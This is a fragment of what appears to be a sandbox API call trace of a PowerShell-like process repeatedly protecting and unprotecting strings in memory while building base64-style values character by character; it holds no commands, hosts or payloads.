(param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xbfa8\xc1b4\x5f0c\x3aa1\x320b\x569f\x3c4\xbda1") returned 0x28 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xbfa8\xc1b4\x5f0c\x3aa1\x320b\x569f\x3c4\xbda1") returned 0x28 [0137.509] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1be꒎텕ꛠ") returned 0x28 [0137.509] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xd28d\x943d\xc144\x5444\xb8a3\xd55d\x4258\x5d9e") returned 0x28 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xd28d\x943d\xc144\x5444\xb8a3\xd55d\x4258\x5d9e") returned 0x28 [0137.509] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beU텕ꛠ") returned 0x28 [0137.509] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x28cc\x9b1e\x6fd9\x24d5\x6845\xb70d\x4a6e\x1b11") returned 0x28 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x28cc\x9b1e\x6fd9\x24d5\x6845\xb70d\x4a6e\x1b11") returned 0x28 [0137.509] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm텕ꛠ") returned 0x28 [0137.509] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x19c1\x559a\x3670\xb7b3\xe62f\x60ef\x4477\x4ad7") returned 0x28 [0137.509] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x19c1\x559a\x3670\xb7b3\xe62f\x60ef\x4477\x4ad7") returned 0x28 [0137.509] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.509] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3ꛠ") returned 0x28 [0137.510] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x1f4f\xcd9b\x599a\xb10b\x70fb\xf9d7\xf991\xcedc") returned 0x28 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\x1f4f\xcd9b\x599a\xb10b\x70fb\xf9d7\xf991\xcedc") returned 0x28 [0137.510] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.510] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3x") returned 0x28 [0137.510] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da") returned 0x28 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da") returned 0x28 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da") returned 0x28 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da") returned 0x30 [0137.510] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.510] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3x7⢆ɜᮭᔚત嗸쐉") returned 0x30 [0137.510] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\x9289\x1ac3\xbc81\x3a58\xe150\xa27b\xea2a\x53c5") returned 0x30 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\x9289\x1ac3\xbc81\x3a58\xe150\xa27b\xea2a\x53c5") returned 0x30 [0137.510] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.510] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3x7xɜᮭᔚત嗸쐉") returned 0x30 [0137.510] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\x35dc\x49a2\xc0fe\x3b5e\x9c02\xa0fb\xfeb3\x5bef") returned 0x30 [0137.510] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\x35dc\x49a2\xc0fe\x3b5e\x9c02\xa0fb\xfeb3\x5bef") returned 0x30 [0137.510] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.510] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3x7xoᮭᔚત嗸쐉") returned 0x30 [0137.510] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.511] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\xf278\xb626\x8570\x7f45\x85b0\x13df\x4e65\xa13e") returned 0x30 [0137.511] SysStringLen (param_1="\x4400\x6382\x759a\x573\x1476\xc1a7\xcce7\xbc98\x77ff\xc3e0\x1e2b\xfc9c\x119e\x9211\xaf9a\x5c90\xf475\x9829\x91da\xac89\x388c\x5b43\xcd2b\x603b\x18ec\x97\x2a87\x753e\x604e\xf165\x94ae\x9633\xddf3\x28ac\x7114\x1aab\xd1da\x1e31\x1003\xf4da\xf278\xb626\x8570\x7f45\x85b0\x13df\x4e65\xa13e") returned 0x30 [0137.511] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.511] SysStringLen (param_1="bZTA7emSS1y290Y+j7TcAnA0xvJS62pmW1beUm3x7xo=ᔚત嗸쐉") returned 0x30 [0137.511] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.511] SysStringLen (param_1="") returned 0x8 [0137.512] SysStringLen (param_1="Y") returned 0x8 [0137.512] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.512] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.512] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="YW") returned 0x8 [0137.512] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.512] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.512] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="YWM") returned 0x8 [0137.512] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.512] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.512] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="YWM1") returned 0x8 [0137.512] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.512] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.512] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="YWM1O") returned 0x8 [0137.512] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.512] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.513] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.513] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.513] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.513] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.513] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.513] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.513] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.513] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.513] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.513] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.513] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.513] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.513] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.513] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.513] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.513] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.513] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.514] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.514] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.514] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.514] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.514] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.514] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.514] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.514] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.514] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.514] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.515] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.515] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.515] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.515] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.515] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.515] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.515] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.515] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.515] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.515] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.515] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.515] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.515] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.516] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.516] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, 